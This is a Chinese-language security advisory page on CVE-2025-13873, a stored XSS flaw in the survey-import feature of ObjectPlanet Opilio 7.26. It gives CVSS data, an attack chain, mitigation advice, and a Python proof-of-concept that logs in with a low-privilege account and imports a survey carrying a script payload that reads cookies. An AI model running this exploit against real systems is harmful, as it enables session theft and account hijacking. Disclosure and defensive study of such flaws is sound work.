IPBUF安全漏洞报告
English
CVE-2025-13873 CVSS 5.4 中危

CVE-2025-13873 ObjectPlanet Opilio survey-import存储型XSS漏洞

披露日期: 2025-12-02
来源: 64c5ae8f-7972-4697-86a0-7ada793ac795

漏洞信息

漏洞编号
CVE-2025-13873
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ObjectPlanet Opilio 7.26 rev12562

相关标签

存储型XSSObjectPlanet Opiliosurvey-importCVE-2025-13873跨站脚本Web应用安全中危漏洞

漏洞概述

CVE-2025-13873是ObjectPlanet Opilio 7.26版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于survey-import(调查导入)功能中,攻击者可以通过该功能注入任意的JavaScript代码。由于是存储型XSS,恶意代码会被永久保存在服务器端,当其他用户访问被污染的调查问卷时,注入的JavaScript代码会在受害者浏览器中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、进行钓鱼攻击或在用户浏览器中执行任意操作。该漏洞的CVSS评分为5.4,属于中危级别,需要低权限用户配合用户交互才能成功利用。

技术细节

该漏洞是存储型XSS(Stored Cross-Site Scripting),攻击向量为网络(AV:N),攻击复杂度低(AC:L),需要低权限(PR:L)用户进行操作。攻击者利用survey-import功能的输入验证不足,在导入调查问卷数据时注入恶意JavaScript代码。由于应用程序未对用户输入进行充分的HTML实体编码或输入过滤,恶意脚本被存储在数据库中。当其他用户访问该调查问卷时,服务器从数据库读取并返回包含恶意代码的页面,浏览器将其作为合法脚本执行。攻击成功的前提是受害者访问被污染的页面,且浏览器的同源策略无法阻止存储型XSS的执行。攻击者通常利用此漏洞获取受害者的认证令牌或执行进一步的攻击行为。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的低权限账户访问权限
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的调查问卷文件
STEP 3
步骤3
攻击者通过survey-import功能上传恶意调查问卷,XSS payload被存储在服务器数据库中
STEP 4
步骤4
受害者访问被污染的调查问卷页面
STEP 5
步骤5
服务器返回包含恶意JavaScript代码的页面,浏览器执行注入的脚本
STEP 6
步骤6
攻击者通过JavaScript获取受害者的Cookie、会话令牌等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13873 PoC - Stored XSS in ObjectPlanet Opilio survey-import # Target: ObjectPlanet Opilio 7.26 rev12562 TARGET_URL = "http://target.com/opinio" LOGIN_URL = f"{TARGET_URL}/user/login" IMPORT_URL = f"{TARGET_URL}/admin/survey/import" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "username": "attacker_user", "password": "password123" } response = session.post(LOGIN_URL, data=login_data) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Upload malicious survey with XSS payload malicious_survey = { "name": "Malicious Survey", "questions": [ { "text": "<script>alert(document.cookie)</script>", "type": "text" } ] } files = { "surveyFile": ("malicious_survey.xml", json.dumps(malicious_survey), "application/xml") } response = session.post(IMPORT_URL, files=files) if "success" in response.text.lower(): print("[+] Malicious survey imported successfully") print("[+] XSS payload stored in survey-import feature") print("[+] Any user accessing this survey will execute the injected JavaScript") else: print("[-] Failed to import malicious survey")

影响范围

ObjectPlanet Opilio 7.26 rev12562

防御指南

临时缓解措施
在修复补丁发布前,可采取以下临时缓解措施:1)限制survey-import功能的访问权限,仅允许受信任的管理员使用;2)在Web应用前端和后端同时实施输入验证和输出编码;3)启用内容安全策略(CSP)响应头限制脚本执行;4)监控和审查导入的调查问卷内容;5)对现有调查问卷进行安全扫描,检测是否存在已注入的恶意代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表